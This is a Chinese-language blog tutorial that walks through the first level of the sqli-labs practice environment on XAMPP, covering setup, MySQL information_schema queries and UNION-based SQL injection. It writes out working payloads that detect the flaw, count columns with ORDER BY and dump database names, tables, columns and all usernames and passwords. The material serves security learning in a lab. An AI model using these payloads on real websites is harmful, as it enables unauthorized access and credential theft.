SQL注入学习

时间:2021-08-27 23:32:16

本次实验环境用的是Xampp,搭建的sqli-labs

配置环境:

下载路径https://github.com/Audi-1/sqli-labs,下载源代码,将解压好的文件夹放在xampphtdocs文件夹下,然后修改/sqli-labs/sql-connections/db-credb.inc文件中mysql账号密码,使之能连接上数据库

开启apache/MySQL服务

SQL注入学习

 

 

 访问http://localhost:8088/sqli-labs(我端口修改为8088)

SQL注入学习

 

 

 点击创建数据库

SQL注入学习

 

 

 

接下来进入第一关

SQL注入学习

 

 

 SQL注入学习

 

在开始之前,我们回忆一下Mysql基本操作命令。

 

开启MySQL服务,使用cmd命令行操作MySQL。使用mysql -u root -p,输入密码登录MySQL(-u是指输入用户,-p是输入密码)

SQL注入学习

 

 查看所有数据库,show databases;

SQL注入学习

 

 此时发现了刚刚,seli-labs创建的数据库security。查看数据库,use security;

SQL注入学习

 

 查看当前数据库所有表,show tables;

SQL注入学习

 

 查字段信息

SQL注入学习

 

 查看user中数据用户信息,select * from user;

SQL注入学习

 

还可以使用万能的查询语句进行查库、查表、查列、查字段。

查库:select schema_name from information_schema.schemata;

SQL注入学习

 SQL注入学习

 

查询security表:select table_name from information_schema.tables where table_schema=‘security‘;

SQL注入学习

 SQL注入学习

 

查询users列:select column_name from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘;

SQL注入学习

 

SQL注入学习

 

查字段:select id,username,password from security.users;

SQL注入学习

 SQL注入学习

 

总结一下,我们可以使用

查库:select schema_name from information_schema.schemata;

查表:select table_name from information_schema.tables where table_schema=‘security‘;

查列:select column_name from information_schema.columns where table_name=‘users‘;

查字段:select id,username,password from security.users;

 

接下来我们可以进行实验了,首先打开Less-1第一关尝试输入数字型?id=1实验一下效果,就是这个样子的

SQL注入学习

 

 

 

 

在正式开始学习之前我们先打开源代码,将源代码进行调整

SQL注入学习

 

 

 

找到源代码中如下所示位置,加入代码echo $sql;将sql语句进行输出,方便我们更清晰的去学习

SQL注入学习

 

 输入?id=1实验一下

SQL注入学习

 

 这样就可以看到,SQL语句啦

 

我们将它放到数据库执行一下,发现得到了id=1的用户名/密码

SQL注入学习

 

查找所有内容来自users表条件是id=1的数据,那limit是什么意思呢? 

 

我们去掉条件试一下select * from users limit 0,1;

SQL注入学习

 

 发现没有变化

 

SQL注入学习 

limit 1,1得到了id=2的用户名密码

 

 SQL注入学习

 

limit 2,1得到了id=3的用户名密码 

 

所以第一个参数是第几行开始,下面试一下第二个字段

SQL注入学习

 

 可以看出第二个参数是展示多少行

 所以limit 1,1第一个参数是从第几行开始,第二个参数是显示几个。

 

 知道了sql语句之后,我们看一下第一题

 刚刚输入?id=1得到了id=1的数据,现在我们输入?id=1‘看一下

SQL注入学习

 

 

 此时页面报错了,我因为我们多输入一个’sql语句变成了SELECT * FROM users WHERE id=‘1‘‘ LIMIT 0,1无法执行所以报错了,所以此时就可以判断这里存在sql点

 

如果我们将原来语句中闭合的单引号后面的内容注释掉的话会怎么样呢?

SQL注入学习

 

 

 此时select *from users where id=‘1‘后面被注释所以他是可以执行成功的

SQL注入学习

 

下面可以使用order by来尝试猜他的列,首先输入order by 10试一下

SQL注入学习

 

 此时提示是‘未知第10行’

而输入order by 1时页面显示正常

SQL注入学习

 

 我们去mysql查看一下,order by是什么意思呢?

 首先看一下user表正常显示情况

 SQL注入学习

 

 order by 10时,返回报错信息:未知第10行

 SQL注入学习

 

order by 1时,显示和不加order by没有区别

SQL注入学习

 

下面试试order by 2,此时没有报错,但是显示顺序发生了变化,以第2列进行a-z的排序

SQL注入学习

 

order by 3时,以第三列进行了排序,原来order by是几就是以几列进行排序,那么,users表只有3列怎么办呢,接下来试一下order by 4;

SQL注入学习

 

order by 4时系统再次报错

SQL注入学习

 

这下我们知道了,使用order by函数对表的列进行猜解,直到页面显示正常为止。

SQL注入学习

 

知道了表的列之后,我们要做的就是查看哪一列可以进行利用。此时需要使用到union联合查询

SQL注入学习

 

但此时并没有什么效果,我们将sql语句复制到MySQL看一眼是什么原因

SQL注入学习

 

 可以看到此时的意思应该就是:查询来自users表id=1的所有数据并且查询1,2,3,但是此时页面只能显示一行所以我们所想的并没有显示出来,此时我们可以查询一个users表中没有的数据,使第一句显示不出内容让mysql只显示我们union后面的信息。

SQL注入学习

这样就达到我们的目的啦

SQL注入学习

 

我们顺利的得到了两个回显。 

 

接下来我们利用两个回显位置执行查询数据库版本操作

SQL注入学习

 

那么此时我们找到了可以利用的注入点,我们要做什么呢,查他的数据库、表、列、数据。

 首先我们查询他的数据库呢,-1‘ union select 1,2,schema_name from information_schema.schemata  --

SQL注入学习

 

 得到了第一个数据库信息

 

使用limit控制一下要输出的信息

SQL注入学习

 

第二个数据库名

SQL注入学习

 

但是此时每次只能取到一个数据,使用group_concat()函数产生一个表名的组,进行查询

SQL注入学习

 

 这样我们就一次得到了所有数据库名

下面我们查询表信息,使用?id=-1‘ union select 1,2,group_concat(table_name) from information_schema.tables --

SQL注入学习

 

但是此时查询到的是所有数据库的表所有表信息,我们只需要security表,只用where 添加条件就好了-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security‘ --

SQL注入学习

 

下面是取列的数据??-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security‘ table_name=‘users‘ --

SQL注入学习

 

此时虽然是users表但是没有规定数据库所以去取了所有数据库users表的列,我们需要加上security数据库and users表

-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ --

SQL注入学习

 

 这样我们就已经取到了数据库security,表users中的列

 

这下数据库、表、列都有了,可以取出所有表中数据了,首先是用户名-1‘ union select 1,2,group_concat(username) from security.users --

SQL注入学习

 

 

 

然后是密码-1‘ union select 1,2,group_concat(password) from security.users --

SQL注入学习

 

 

这样就得到了所有用户明/密码,但分开显示看起来十分蛋疼。我们用concat_ws()函数将username/password列拼接起来显示,-1‘ union select 1,2,group_concat(concat_ws(‘~‘,username,password)) from security.users --

SQL注入学习

 

 这样就得到了所有用户名,密码的组合信息,看起来也十分方便。